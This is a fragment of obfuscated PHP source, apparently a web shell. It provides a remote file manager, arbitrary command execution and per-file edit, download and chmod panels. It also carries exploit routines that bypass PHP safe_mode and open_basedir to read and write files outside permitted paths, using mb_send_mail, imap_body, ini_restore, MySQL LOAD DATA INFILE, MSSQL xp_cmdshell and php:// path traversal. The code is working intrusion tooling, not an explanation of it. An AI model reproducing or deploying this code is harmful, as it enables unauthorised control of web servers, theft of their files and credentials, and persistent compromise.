"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGUSURBVDiNjZMxa9tAGIbfyAeOAo1iuFsEJmA56RS62SZLfkTH/IpCO5bQIT8he5f+hC79A7ZXBZo0NhmkRcQKpJAW4/vuvgzNXSTbSXogEJ907/O8J7Tx7Xv6YZLPTsu7PyEAHB8pWGvx2gqCIBVCfNz4fPbj79abVrjbjtFoBHh/qMDML24mIuR5jqIozkVR/g7ftfdxXcxhmaH1DojoVYM4jpFl2YEgY3B7b2AfqcwMZsZwOAQAKKUwm838RqUUut0umBnGGAhDBDJPnV3AYDDwsyRJanRXkYggiAyqZ+YCptOpJ1ctnAEAaK0hjCWvXw1JkqRGrt47g8cKBtZy7SEzYzQa1ehKqZUqRARhjIGpCLiAfr/vZ51Op0ZeCqCawboXn1veoHoGzmA8HvuZlBIAUJYlpJS+ylPAmq/Q6/VWiMtV/gXQ+grOQErpyXEcIwzD1QqaCEFDPGvgyMt0IkIgW9vzm+wnSGtYyz7gpWuxWCBNUwghrsTbvfjLxa/85HJ0sQkAX3X0Xz9Ts9mcRFH06QFIsTx57QMZyQAAAABJRU5ErkJggg==", "pl" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAsBJREFUOMuV08trXHUUwPHv73fvzJ1H53HlJmPStE2tdtEmXVhfzVSqkNpShCClCykFl26KG/sXdFtw5cKl/hlCDQQVbSjVzlhkZiCTKiZjJzWTed7f79x7uwg0uBDs2R7O5zzgqPX19YsicieO4zO8QGitH7qu+7laW1t7OD8/v1ipVNBa/6/iOI7pdDq02+2aa4xZzOZyDIZDtNZorVGA0hqlFGq/HSpJUEoBkCQJQRDQaDQWdRRFaKWeJ8UKe70uYi3j0ZA/278hJtyHlQKlcBwHx3GIoghXREAptNYYY2g3f6X7+HuOn77MXq/DaHeDbGGKIKhgrWXQ3yHlFTiUzyMiuNZalNaEkwl7vS6FvGXq7AW8NKR0hlL+KGawyZNEYSY9vrz9KUsXr1Bd/gRrLW4URYgxdDp/ED59hCQJo40uM4ePYCd9lNY4Toqdxz+w3XpA9Y1XmTvxNp6XPVhhPB6x0bhPOtzk/i8NHt37juMnXmEmKDCcJISDp7x54RLbm7/jV6aYO3aKYrGIiKBFBGMMg94OX3/1De9evsH1z74At8zdn/7m27v3KB95nQc//4ibzlI5uUy5VMJxnP0biAij0YBWbZ3Fd85z6swSmUyGs0uX2P6rze2bH/H+1Zvkc4fIZLMUij6e55EkyQFgJmOiOOGDD6+Ty+XwPA+lFKN+l/PvnWP28DEKhSJxHBPHMdbafwNpL8Nbyx8j4ycYY0in0ziOgx8cpVAsISJYa7HWIiJEUYRS6gB4eWaOXC5DEgsiwnA4JI5jCqWXOH3uGmKFwWBAq9Xin91dZmdnMWF4ABSLRcplHxH7fHylFL7vMz09TRiG9Pt9tra2WFlZoVar4fv+PuC6bmN1dfXkwsICqVTqPx9IKUW1WqXb7RIEAfV6Hdd1G24+n7/VbDbv1Ov1117knT3Pa5ZKpVvPANPKWvOoFTopAAAAAElFTkSuQmCC", "htaccess" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAmFJREFUOMuV089LVFEYxvHvvXOuMzU69zZjlpWl+StzjBTLCAoljSL6sQiDVi2CNhFBSdtwFSK1rL+goCBoaQaGJBWTSONUNpOTlZFTQVZq051z7mkhKaQGvvAuz4fnOfAasVisTUrZ7XneNpYxpmnGhRAXjf7+/nhRIFaHOUl4RRMF4V2ISAhtgIGx6GPP88hkMoyNjQ0L13Xr8go8PqeG+DqUxhkboehoFH9TNUbYwTDFokgkEiGZTNYJpRROyUHM9DdGHnzkSSxDVd8kVXsShA9XYbU04LNDCwClFEopTCklPqsEu+Ik5WsqsXwh7kyEuXlXMnFpgFzXbdxUGq31gpVS4mtvb79cWlqKYYcwNzgY76axxhWDmIxMSza++Elo+CXaFpiVxaDn/yWdTmMqpWZFNIGdFUTPlXGg+hOHPD9fzHV0/Zph8JHF7ys95Hp78JQ7l2CuwnwssFq2s6qzmeaaUU6rH4SNzVwzvjGQXEu28zGq7yHay81V+AfQaG1gtuwgcPUIFVXvOaY8HKOG6ypLb6KeyRuvUB/G0Z63FDC7vsYowfPNbHHe0irzyZnl3MqzePO0COPeM/DU/wG0xjy+l+CpKPX+UXbLMJNelqGpDF/iU2Rnsv8HtNZoD8SZVkpOFNNmvSZqOPRt+sn9xgifsy5SSsRfYKnRThDrwj7KC5+z/7uffruQrD2DszIwD+RyOYQQSyJqdT7Bs000uJLS6fUMx2Lo3GwCUwiRjMfjuK67dBWt0X4fth2grLiYrbW1DCcSCCGSIhgMdqRSqe5EIlG5nHP2+/0p27Y7/gDPzYj0H4o5FQAAAABJRU5ErkJggg=="); goto Ok7QB; Df8cq: function z6s($f) { global $nix, $sh_exec; $m = ''; if (z7r("md5_file") && @md5_file($f) !== false) { $m = @md5_file($f); } elseif ($nix && $sh_exec) { $m = z9t("md5sum "" . $f . """, 0); if (@strstr($m, " ")) { $m = @substr($m, 0, @strpos($m, " ")); } } return @strlen($m) == 32 ? $m : false; } goto HPvQA; AjxvQ: function z3d($k) { $c = z2l($k); if ($c == 0) { return array(); } if ($c > 0) { z2i($k); } $n = $c > 1 ? $c - 2 : ($c > 0 ? $c - 1 : 0); return $_SESSION[$k][$n]; } goto YVlUH; TQrFx: function z7n($f) { if (!z0n($f)) { return "0"; } elseif (!z0v($f)) { return "1"; } else { return "2"; } } goto jt1nc; ZgLCU: @session_start(); goto CIS6G; lvMQe: function z7a($i, $c = '', $id = '') { return z7y($i, "bottom", $c, $id); } goto yhHlJ; r_d5C: if (get_magic_quotes_gpc()) { if (@isset($_FILES) && @count($_FILES) > 0) { z3y($_FILES); } z4h($GLOBALS); } goto ZgLCU; hBkAD: $bpostgres = z7r("pg_connect"); goto e3R6J; J2IJ5: function z4u($host, $user, $pass, $port, $dbtype, $base = '') { $sql = new my_sql(); $sql->db = $dbtype; $sql->host = $host; $sql->port = $port; $sql->user = $user; $sql->pass = $pass; if ($base != '') { $sql->base = $base; } if ($sql->connect()) { return "valid"; } else { return "invalid"; } } goto PC7H5; ychWN: function z1q($file, $global = 0, $dir = 0) { $mode = @fileperms($file); if ($dir) { $arr = $global ? array() : array("act", "d", "ctarget" => $file, "chmod_submit" => "1"); } else { $arr = $global ? array() : array("act", "d", "f", "ft" => "functions", "ctarget" => $file, "chmod_submit" => "1"); } if ($mode) { $perms = z9r($mode, 1); $o = @decoct($mode); if (@strlen($o) > 4) { $o = @substr($o, -4); } echo z2b(($dir ? z9s("123") : z9s("93")) . z9c() . z4p($file)); echo z10e(z7i(z9j(z5c($arr, z10e(z5n() . z7i(z5t(z9s("94", '', 1)) . z9j(z5y("chmod_or", z9s("97"), "chmod_o[r]", "1", $perms["o"]["r"] ? 1 : '') . z9c(5) . z5y("chmod_ow", z9s("98"), "chmod_o[w]", "1", $perms["o"]["w"] ? 1 : '') . z9c(5) . z5y("chmod_ox", z9s("99"), "chmod_o[x]", "1", $perms["o"]["x"] ? 1 : '')) . z9j(z9c())) . z7i(z5t(z9s("95", '', 1)) . z9j(z5y("chmod_gr", z9s("97"), "chmod_g[r]", "1", $perms["g"]["r"] ? 1 : '') . z9c(5) . z5y("chmod_gw", z9s("98"), "chmod_g[w]", "1", $perms["g"]["w"] ? 1 : '') . z9c(5) . z5y("chmod_gx", z9s("99"), "chmod_g[x]", "1", $perms["g"]["x"] ? 1 : '')) . z9j(z9c(5) . z8v("Chmod", "7"))) . z7i(z5t(z9s("96", '', 1)) . z9j(z5y("chmod_wr", z9s("97"), "chmod_w[r]", "1", $perms["w"]["r"] ? 1 : '') . z9c(5) . z5y("chmod_ww", z9s("98"), "chmod_w[w]", "1", $perms["w"]["w"] ? 1 : '') . z9c(5) . z5y("chmod_wx", z9s("99"), "chmod_w[x]", "1", $perms["w"]["x"] ? 1 : '')) . z9j(z9c())) . z5n(), "2"))) . z9j(z5c(array("act", "d", "f", "ft" => "functions", "ctarget" => $file, "chmod_submit" => "1"), z10e(z7i(z5t(z9s("101")) . z9j(z5u("chmod_val", $o, "1") . z8v(z9s("100"), "7"))), "2"))))); } } goto R1sKb; Zzxz4: if ($act == "f") { if (!@isset($f)) { $f = ''; } if (!@isset($ft)) { $ft = ''; } if (@isset($readfile)) { $d = z3p($readfile); $f = z2h($readfile); } elseif (@isset($writefile)) { $d = z3p($writefile); $f = z2h($writefile); } elseif ($f != '') { $f0 = @substr($f, 0, 1); $f1 = @substr($f, 1, 1); if ($f0 == "/" || $f1 == ":") { $d = z3p($f); $f = z2h($f); } } $fmsg = ''; if (!z4e($d . $f) && z4e($f)) { $d = z3p($f); $f = z2h($f); } elseif (z1a($f) == z1a($d)) { $f = ''; $fmsg = z9s("472"); } elseif (z3p($f) == z1a($d)) { $f = z2h($f); } z2z(); if (!z4j($d . $f) && z0n($d . $f) || !z4q($d . $f) && z0v($d) && @isset($ft) && $ft == "new") { $ext = @strtolower(z2h($f, ".")); $rft = z4x($f); if (@preg_match("/sess_(.*)/", $f)) { $rft = "sess"; } if (!@isset($ft) || @empty($ft)) { $ft = $rft; } if ($ft == "new") { z9y($d . $f, ''); $ft = "edit"; } if ($ft == "rcown") { $rcmsg = " " . (z2q($d . $f) ? z5i(z9s("290")) : z8z(z9s("291"))); $ft = "code"; } if (@empty($ft)) { $ft = "functions"; } echo z2b(z9s("78") . z9c() . ($use_images ? "<img src="?act=i&img=" . $ext . ""> " : '') . z4p($d . $f . " (" . z7c(@filesize($d . $f)) . ")") . (@isset($rcmsg) ? $rcmsg : '')); z2j(); if (($ft != "functions" || $ft == "functions" && @isset($submit_encode)) && $ft != "ini") { $r = z9p($d . $f); } switch ($ft) { case "functions": echo z2b(z9s("90")); echo z6d(); $encode_functions = z0x(); echo z9m("2") . z9l() . z9b("d") . z9b("act", "f") . z9b("f") . z9b("ft", "functions") . z9b("submit_encode", "1") . z7i(z5t(z9s("91")) . z9j(z4a("encode_selected", $encode_functions, "0", 1, "9") . z8v(z9s("92"), "7"))) . z9z(); $encoder_output = ''; if (@isset($submit_encode) && $submit_encode) { $encoder_output = $encode_selected($r); echo z9f(z5t(z9s("102")) . z9j(z5w('', "1") . @htmlspecialchars($encoder_output) . z5q())); } echo z10w(); echo z6d(); z1q($d . $f); if (z7r("touch")) { z2v(); echo z2b(z9s("103")); echo z10e(z5n() . (@isset($tmsg) && !@empty($tmsg) ? z7i(z5t(z9c()) . z9j($tmsg)) : '') . z7i(z5c(array("act", "d", "f", "ft" => "functions", "st1" => "1"), z5t(z9s("104")) . z9j(z5u("copy_from", '', "9") . z8v(z9s("112"), "7")))) . z7i(z5c(array("act", "d", "f", "ft" => "functions", "st2" => "1"), z5t(z9s("105")) . z9j(z4a("tmonth", $tmonth_arr, "4", 1) . "-" . z4a("tday", $tday_arr, "4", 1) . "-" . z4a("tyear", $tyear_arr, "4", 1) . z9c(12) . z4a("thour", $thour_arr, "1", 1) . ":" . z4a("tmin", $tmin_arr, "1", 1) . ":" . z4a("tsec", $tsec_arr, "1", 1) . z8v(z9s("112"), "7")))) . z5n(), "2"); } break; case "edit": $msg = ''; if (@isset($save) && $save) { $msg = z9y($d . $f, $txtedit) ? z9s("243") : z9s("450"); $r = z9p($d . $f); } echo z5c(array("act" => "f", "d", "f", "ft" => "edit", "save" => "1"), z10e(z9f(z6x(z5w("txtedit", "2") . @htmlspecialchars($r) . z5q() . z9x() . z5x("left", "3") . z8e(z9s("115")) . "<input type="text" id="replace_a" class="" . z4m("5", "4") . "">" . z9c(5) . z8e(z9s("116")) . "<input type="text" id="replace_b" class="" . z4m("5", "4") . "">" . z8m(z9s("117"), "fnc_replace('txtedit','replace_a','replace_b');", "7") . "<input type="reset" value="" . z9s("118") . "" class="" . z4m("7", "5") . "">" . z8v(z9s("119"), "7") . z9c() . z8e($msg) . z5j())), "2")); echo z6d(); break; case "text": echo z10e(z9f(z6x("<pre>" . @htmlspecialchars($r) . "</pre>")), "2"); break; case "web": $url = z8o(); $url_a = @parse_url($url); if (@isset($url_a["host"])) { $host = $url_a["host"]; if (($wwwdir = z3k()) !== false) { if (@strstr($d . $f, $wwwdir) !== false) { $link = "http://" . $host . "/" . @substr($d . $f, @strlen($wwwdir)); echo z10e(z9f(z6x("<iframe border="0" class="iframe" src="" . $link . "">" . z9s("471") . "</iframe>")) . z5n(), "2"); } } } break; case "html": if (@isset($white) && $white) { @ob_clean(); echo $r; @die; } else { echo z10e(z9f(z6x("<iframe border="0" class="iframe" src="?act=f&f=" . @urlencode($f) . "&d=" . @urlencode($d) . "&white=1&ft=html">" . z9s("471") . "</iframe>")) . z5n(), "2"); } break; case "htmls": if (@isset($white) && $white) { $r = @preg_replace("#\b(on(?<!\.on)[a-z]{2,20})\s*=\s*([\'"])?((?(2)(?(?<=")[^"]{1,1000}|[^\']{1,1000})|[^\s"\'>]{1,1000}))(?(2)\2|)#i", '', $r); $r = @preg_replace("#(<script[^>]*>.*?</script>|<[/]*noscript>|<meta\s(.*?)>)#is", '', $r); $r = @preg_replace("#\b(href(?<!\.))\s*=\s*([\'"])?javascript:#i", "href=\2#javascript:", $r); @ob_clean(); echo $r; @die; } else { echo z10e(z9f(z6x("<iframe border="0" class="iframe" src="?act=f&f=" . @urlencode($f) . "&d=" . @urlencode($d) . "&white=1&ft=htmls">" . z9s("471") . "</iframe>")) . z5n(), "2"); } break; case "code": echo z6z('', "2") . z7p() . z6w(); z1x($r, $ext); echo z7g() . z7u() . z10w(); break; case "exe": if (!@isset($ecmd)) { $ext = z2h($f, "."); $ecmd = $d . $f; foreach ($execaliases as $ek => $ev) { if (@in_array(@strtolower($ext), $ev)) { $ecmd = @str_replace("%f%", $ecmd, $ek); break; } } } echo z5c(array("act" => "f", "ft" => "exe", "d", "f", "exec" => "1"), z10e(z5n() . z7i(z6x(z8e(z9s("120")) . z5u("ecmd", '', "9") . z8v(z9s("99"), "7"))) . z5n(), "2")); if (@isset($exec) && $exec && !@empty($ecmd)) { echo z9m("2") . z6g() . z6w() . z5w('', "1"); $res = z9t($ecmd); echo $res; echo z5q() . z7g() . z7u() . z5n() . z10w(); } break; case "sess": echo z6z('', "2") . z7p() . z6w() . "<pre>"; $e = @explode("|", $r); echo $e[0] . z9x(); @var_dump(@unserialize($e[1])); echo "</pre>"; echo "</pre>" . z7g() . z7u() . z10w(); break; case "ini": echo z6z('', "2") . z7p() . z6w() . "<pre>"; @var_dump(@parse_ini_file($d . $f, true)); echo "</pre>" . z7g() . z7u() . z10w(); break; case "sdb": echo z6z('', "2") . z7p() . z6w() . "<pre>"; @var_dump(@unserialize(@base64_decode($r))); echo "</pre>" . z7g() . z7u() . z10w(); break; case "img": if (!@isset($is)) { $is = 50; } $inf = @getimagesize($d . $f); if (@isset($inf[0]) && @isset($inf[1]) && @isset($inf["mime"])) { $w = $inf[0] / 100 * $is; $h = $inf[1] / 100 * $is; $mime = $inf["mime"]; } else { $w = $h = $t = ''; if (@preg_match("/(jpg|jpeg|gif|png)/i", $r, $m)) { $t = $m[1] === "jpeg" ? "jpg" : $m[1]; } $mime = "image/" . @strtolower($t); } if (!@isset($white) || !$white) { echo z5x("center") . z9x(); if ($w != '') { foreach (array("20", "50", "100", "150", "200") as $v) { echo z5c(array("act" => "f", "d", "f", "ft" => "img", "is" => $v), z8v($v . "%", $is == $v ? "17" : "16")); } } echo z9x(2) . "<img alt="" src="?act=f&f=" . @urlencode($f) . "&ft=img&white=1&d=" . @urlencode($d) . """ . ($w != '' ? " width="" . $w . """ : '') . ($h != '' ? " height="" . $h . """ : '') . " border="0" style="border: 1px solid #DDDDDD;">" . z5j() . z9x(2); } else { @ob_clean(); @header("Content-type: " . $mime); echo $r; die; } break; case "hex": if (!@isset($hexdump_type)) { $hexdump_type = ''; } if ($hexdump_type == "full") { $str = $r; } else { $str = @substr($r, 0, 16 * 24); } $n = 0; $a0 = $a1 = $a2 = ''; $ofs = 0; $len = @strlen($str); for ($i = 0; $i < $len; $i++) { $a1 .= @sprintf("%02X", @ord($str[$i])) . z9c(); if (@ord($str[$i]) == 0) { $a2 .= z5i("0"); } elseif (@ord($str[$i]) >= 32 && @ord($str[$i]) <= 126) { $a2 .= @htmlspecialchars($str[$i]); } else { $a2 .= "."; } $n++; if ($n == 24 || $i + 1 == $len && !@is_int($len / 24)) { $n = 0; $a0 .= @sprintf("%08X", $ofs) . z9x(); $a1 .= z9x(); $a2 .= z9x(); $ofs += 24; } } echo z10e(z9f(z6x(z10e(z7i(z9j($a0, "16") . z9j($a1, "17") . z9j($a2, "18")), "8") . z10e(z9f(z7e(z5c(array("act" => "f", "d", "f", "ft", "hexdump_type" => $hexdump_type == "full" ? "preview" : "full"), z8v($hexdump_type == "full" ? z9s("122") : z9s("121"), "7")))), "8"))), "2"); break; case "download": @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-disposition: attachment; filename="" . $f . "";"); echo $r; die; break; default: break; } } else { if (!@isset($loadb)) { $loadb = 0; } $rbut = z5c($back_form_actions, z8v(z9s("470"), "7")); if (@empty($f)) { echo z2b(z9s("469") . $fmsg . z9c(5) . $rbut); } else { switch ($ft) { case "new": if (!z4q($d . $f) && z4j($d) && !z0v($d)) { $loadb = 1; } elseif (!z4q($d . $f)) { $loadb = 1; } elseif (z4q($d . $f) && z4j($d . $f)) { echo z2b(z9s("468", $d . $f) . z9c(5) . $rbut); } elseif (z4q($f) && z4j($f)) { echo z2b(z9s("468", $f) . z9c(5) . $rbut); } break; default: if (z4q($d . $f) && z4j($d . $f)) { echo z2b(z9s("468", $d . $f) . z9c(5) . $rbut); } elseif (z4q($f) && z4j($f)) { echo z2b(z9s("468", $f) . z9c(5) . $rbut); } elseif (!z4q($d . $f) && z4j($d) && z0v($d) && @strpos($f, "/") === false) { echo z2b(z10e(z7i(z9j(z8e(z9s("466", $d . $f)) . z5c(array("act" => "f", "d", "f", "ft" => "new"), z8v(z9s("195"), "7")) . $rbut)), "2")); } else { $loadb = 1; } break; } } if ($loadb) { z1q($d . $f); $rf_arr = $sqlrf_arr = $wf_arr = array(); $rf_arr["include"] = "include (safe_mode)"; if ($bcurl && @version_compare(@phpversion(), "5.2.0") <= 0) { $rf_arr["curl"] = "curl (open_basedir / PHP <= 4.4.2, 5.1.4)"; } if (!$win && z7r("mb_send_mail") && @version_compare(@phpversion(), "5.2.0") <= 0) { $rf_arr["mb_send_mail"] = "mb_send_mail (safe_mode / PHP <= 4.0-4.2.2, 5.x)"; } if (z7r("imap_open") && z7r("imap_body") && @version_compare(@phpversion(), "5.2.0") <= 0) { $rf_arr["imap_body"] = "imap_body (safe_mode on PHP <= 5.1.2)"; } if (z7r("ini_restore") && @version_compare(@phpversion(), "5.2.0") <= 0) { $rf_arr["ini_restore"] = "ini_restore (safe_mode / PHP <= 4.4.4, 5.1.6) by NST"; } if (z7r("copy") && @version_compare(@phpversion(), "5.2.0") <= 0) { $rf_arr["zlib"] = "copy[compress.zlib://] (safe_mode / PHP <= 4.4.2, 5.1.2)"; } if ($bmysql) { $sqlrf_arr["mysql"] = "mysql (safe_mode)"; } if ($bmssql) { $sqlrf_arr["mssql"] = "mssql (safe_mode)"; } if (z7r("error_log") && @version_compare(@phpversion(), "5.2.2") <= 0) { $wf_arr["error_log"] = "error_log[php://] (open_basedir / PHP <= 5.1.4, 4.4.2)"; } if (z7r("readfile") && @version_compare(@phpversion(), "5.2.2") <= 0) { $wf_arr["readfile"] = "readfile[php://] (open_basedir / PHP <= 5.2.1, 4.4.4)"; } if (@version_compare(@phpversion(), "5.2.4") <= 0) { $wf_arr["fopen"] = "fopen[srpath://] (open_basedir / PHP v5.2.0)"; } if (@count($rf_arr) > 0) { echo z2b(z9s("128")); echo z6d(); echo z5c(array("act" => "f", "d", "f" => @isset($readfile) ? $readfile : $d . $f, "ft" => "functions", "submit1" => "1"), z10e(z7i(z5t(z9s("129")) . z9j(z6i("readfile", @isset($readfile) ? $readfile : $d . $f, "0", '', "9") . z4a("readfile_func", $rf_arr, "5", 1) . z8v(z9s("130"), "7"))), "2")); if (@isset($submit1) && $submit1 && @isset($readfile) && !@empty($readfile)) { echo z9m("2") . z7p() . z5t(z9c()) . z7k(); switch ($readfile_func) { case "include": echo z5w('', "1"); @(include $readfile); echo z5q(); break; case "curl": echo z5w('', "1"); $ci = @curl_init("file://" . $readfile); $cf = @curl_exec($ci); echo @htmlspecialchars($cf); echo z5q(); break; case "mb_send_mail": echo z5w('', "1"); $temp = tempnam($d, "fname"); if (@file_exists($temp)) { @unlink($temp); } $extra = "-C " . $readfile . " -X {$temp}"; @mb_send_mail(NULL, NULL, NULL, NULL, $extra); $str = z9p($temp); echo @htmlspecialchars($str); echo z5q(); @unlink($temp); break; case "imap_body": echo z5w('', "1"); $stream = @imap_open($readfile, '', ''); $str = @imap_body($stream, 1); echo @htmlspecialchars($str); @imap_close($stream); echo z5q(); break; case "ini_restore": @ini_restore("safe_mode"); @ini_restore("open_basedir"); $str = z9p($readfile); echo z5w('', "1") . @htmlspecialchars($str) . z5q(); break; case "zlib": $str = z9o($readfile); echo z5w('', "1") . @htmlspecialchars($str) . z5q(); break; } echo z7g() . z7u() . z10w(); } echo z6d(); } if (@count($sqlrf_arr) > 0) { echo z2b(z9s("131")); echo z6d(); echo z5c(array("act" => "f", "d", "f" => @isset($readfile) ? $readfile : $d . $f, "ft" => "functions", "submit2" => "1"), z10e(z7i(z5t(z9s("129")) . z9j(z6i("readfile", @isset($readfile) ? $readfile : $d . $f, "0", '', "9") . z4a("sqlreadfile_func", $sqlrf_arr, "5", 1) . z8v(z9s("130"), "7"))) . z7i(z5t(z9s("132")) . z9j(z5u("sqluser", "root", "4", '', "9") . z9c(2) . z8e(z9s("133")) . z5u("sqlpass", '', "4") . z9c(2) . z8e(z9s("134")) . z5u("sqlport", "3306", "1") . z9c(2) . z8e(z9s("135")) . z5u("sqldb", "mysql", "4"))), "2")); if (@isset($submit2) && $submit2 && @isset($readfile) && !@empty($readfile) && @isset($sqluser) && @isset($sqlpass) && @isset($sqlport) && @isset($sqldb)) { echo z9m("2") . z7p() . z5t(z9c()) . z7k(); switch ($sqlreadfile_func) { case "mysql": echo z5w('', "1"); if (@empty($sqlport)) { $sqlport = "3306"; } $db = @mysql_connect("localhost:" . $sqlport, $sqluser, $sqlpass); if ($db) { if (@mysql_select_db($sqldb, $db)) { @mysql_query("DROP TABLE IF EXISTS temp_mysql_readfile_table"); @mysql_query("CREATE TABLE `temp_mysql_readfile_table` ( `file` LONGBLOB NOT NULL )"); @mysql_query("LOAD DATA INFILE "" . $readfile . "" INTO TABLE temp_mysql_readfile_table"); $r = @mysql_query("SELECT * FROM temp_mysql_readfile_table"); while (($r_sql = @mysql_fetch_array($r)) !== false) { echo @htmlspecialchars($r_sql[0]) . "\xd\xa"; } @mysql_query("DROP TABLE IF EXISTS temp_mysql_readfile_table"); } else { echo z9s("136"); } @mysql_close($db); } else { echo z9s("137", "MySQL"); } echo z5q(); break; case "mssql": echo z5w('', "1"); if (@empty($sqlport)) { $sqlport = "1433"; } $db = @mssql_connect("localhost," . $sqlport, $sqluser, $sqlpass); if ($db) { if (@mssql_select_db($sqldb, $db)) { @mssql_query("drop table mssql_readfile_temp_table", $db); @mssql_query("create table mssql_readfile_temp_table ( string VARCHAR (500) NULL)", $db); @mssql_query("insert into mssql_readfile_temp_table EXEC master.dbo.xp_cmdshell '" . $readfile . "'", $db); $res = @mssql_query("select * from mssql_readfile_temp_table", $db); while (($row = @mssql_fetch_row($res)) !== false) { echo @htmlspecialchars($row[0]) . "\xd\xa"; } @mssql_query("drop table mssql_readfile_temp_table", $db); } else { echo z9s("136"); } @mssql_close($db); } else { echo z9s("137", "MsSQL"); } echo z5q(); break; } echo z7g() . z7u() . z10w(); } echo z6d(); } if (@count($wf_arr) > 0) { echo z2b(z9s("138")); echo z6d(); echo z5c(array("act" => "f", "d", "f" => @isset($writefile) ? $writefile : $d . $f, "ft" => "functions", "submit3" => "1"), z10e(z7i(z5t(z9s("139")) . z9j(z5u("writefile", $d . $f, "0", '', "9") . z4a("writefile_func", $wf_arr, "5", 1) . z8v(z9s("141"), "7"))) . z7i(z5t(z9s("140")) . z9j(z5w("writecontent", "1") . (@isset($writecontent) ? @htmlspecialchars($writecontent) : "<? phpinfo(); ?>") . z5q())), "2")); if (@isset($submit3) && $submit3 && @isset($writefile) && !@empty($writefile)) { echo z9m("2") . z6g() . z5t(z9c()) . z7k(); switch ($writefile_func) { case "error_log": @error_log($writecontent, 3, "php://../../../../../../../../../../../" . $writefile); if (z4q($writefile)) { echo z9s("243"); } break; case "readfile": @readfile($writecontent, 3, "php://../../../../../../../../../../../" . $writefile); if (z4q($writefile)) { echo z9s("243"); } break; break; case "fopen": if ($fp = @fopen("srpath://../../../../../../../../../../../" . $writefile, "a")) { @fputs($fp, $writecontent); @fclose($fp); echo z9s("243"); } break; default: break; } echo z7g() . z7u() . z10w(); } echo z6d(); } } } } goto EFPMm; jlnKn: function z2o($s, $e, $d = '') { global $nogradient; if (@isset($nogradient) && $nogradient) { return "background: " . ($d == '' ? $s : $e) . ";"; } return "background: " . ($d == '' ? $s : $e) . ";\xafilter: progid:DXImageTransform.Microsoft.gradient(startColorstr='" . $s . "', endColorstr='" . $e . "');
background: -webkit-gradient(linear, left top, left bottom, from(" . $s . "), to(" . $e . "));
background: -moz-linear-gradient(top, " . $s . ", " . $e . ");
background: -o-linear-gradient(top, " . $s . ", " . $e . ");
"; } goto wkilY; UO5J7: function z1a($t) { $t = z1i($t); if (@substr($t, -1) != "/") { $t .= "/"; } if (@preg_match("/[^\/\r\n"']+\/\.\.\//", $t)) { $t = @preg_replace("/[^\/\r\n"']+\/\.\.\//", '', $t); } if ($t == "/../") { $t = "/"; } if ($t != "./" && @strstr($t, "./") !== false) { $t = @str_replace("./", '', $t); } return $t; } goto UZyZd; tADMf: function z0m($tt, $t = '') { global $use_buffer, $bcopy, $bcut, $with_ls, $showbuf; $a = array(); $a["chdir"] = z9s("425"); $a["functions"] = z9s("74"); if ($use_buffer && (!@isset($with_ls) || !$with_ls)) { $a["bcopy"] = @in_array($tt, $bcopy) ? z9s("69") : z9s("67"); $a["bcut"] = @in_array($tt, $bcut) ? z9s("70") : z9s("68"); if (!@isset($showbuf) || !$showbuf) { if (@count($bcopy) > 0) { $a["bpastecopy"] = z9s("54"); } if (@count($bcut) > 0) { $a["bpastecut"] = z9s("55"); } if (@count($bcopy) > 0 && @count($bcut) > 0) { $a["bpasteall"] = z9s("56"); } } } $a["rename"] = z9s("73"); $a["delete"] = z9s("72"); return z5c(array("act" => "d", "d", "tt" => $tt, "showbuf"), z4a("dt", $a, "3") . z8v("»", "6"), $t); } goto sUB3p; i2NpH: function z0y($p) { $r = ''; for ($i = 0; $i < @strlen($p); ++$i) { $r .= "%" . @dechex(@ord($p[$i])); } return @strtoupper($r); } goto RYSgm; u0Aqi: function z0u($n) { if (@isset($_SESSION[$n])) { unset($_SESSION[$n]); } } goto dUNL1; kzLs2: if (@isset($_SESSION["tmps"])) { $tmps = $_SESSION["tmps"]; } else { $tmps = z6k(); $_SESSION["tmps"] = $tmps; } goto HyKDh; vFV3s: function z5s($path, $wildcards, $recursive, $find = false) { global $nix, $sh_exec; $ar_f = $ar_w = array(); $path = @trim($path); $path = z1a($path); if (z4j($path)) { $tmpw = @explode(";", $wildcards); if (@count($tmpw) > 0) { foreach (@array_unique($tmpw) as $tmp) { $tmp = @trim($tmp); if (!@empty($tmp) && !@in_array($tmp, $ar_w)) { $ar_w[] = $tmp; } } if (@count($ar_w) > 0) { if ($find) { if ($nix && $sh_exec) { if (!@is_numeric($recursive) || $recursive == "0") { $recursive = 1; } else { $recursive++; } $searchres = ''; foreach ($ar_w as $tmpw) { $searchres .= z9t("find "" . $path . "" -maxdepth " . $recursive . " -type f -name "" . $tmpw . """); } if ($searchres != '') { $tmpres = @explode("
", $searchres); $searchres = ''; foreach (@array_unique($tmpres) as $tmp_f) { $tmp_f = @trim($tmp_f); if (!@in_array($tmp_f, $ar_f)) { $ar_f[] = $tmp_f; } } } } } else { $fpaths = $tpaths = $spaths = array(); $tpath = ''; $tpaths[] = ''; if (@is_numeric($recursive) && $recursive > 0) { for ($i = 0; $i < $recursive; $i++) { $tpath .= "*/"; $tpaths[] = $tpath; } } foreach (@array_unique($tpaths) as $tpath) { foreach (@array_unique($ar_w) as $fpath) { $fpath = @trim($fpath); if (!@empty($fpath)) { $fpaths[] = $tpath . $fpath; } } } foreach (@array_unique($fpaths) as $fpath) { $spaths[] = $path . $fpath; } unset($fpaths); unset($tpaths); foreach ($spaths as $spath) { $tglob = @glob($spath); if (@count($tglob) > 0) { foreach ($tglob as $tfile) { if (!@in_array($tfile, $ar_f)) { $ar_f[] = $tfile; } } } } unset($spaths); } } } } return @array_unique($ar_f); } goto ccX5v; fkfMc: function z5x($a = '', $c = '', $s = '') { return "<div" . ($a != '' ? " align="" . $a . """ : '') . ($c != '' ? " class="" . z4m($c, "3") . """ : '') . ($s != '' ? z10t($s) : '') . ">"; } goto PsY5v; KId1L: $win = $nix = $linux = 0; goto s1PZu; PC7H5: function z2e($host, $port, $dbtype, $try1, $try2, $try3, $try4, $user, $pass = NULL, $sqldb = '') { $count = 0; 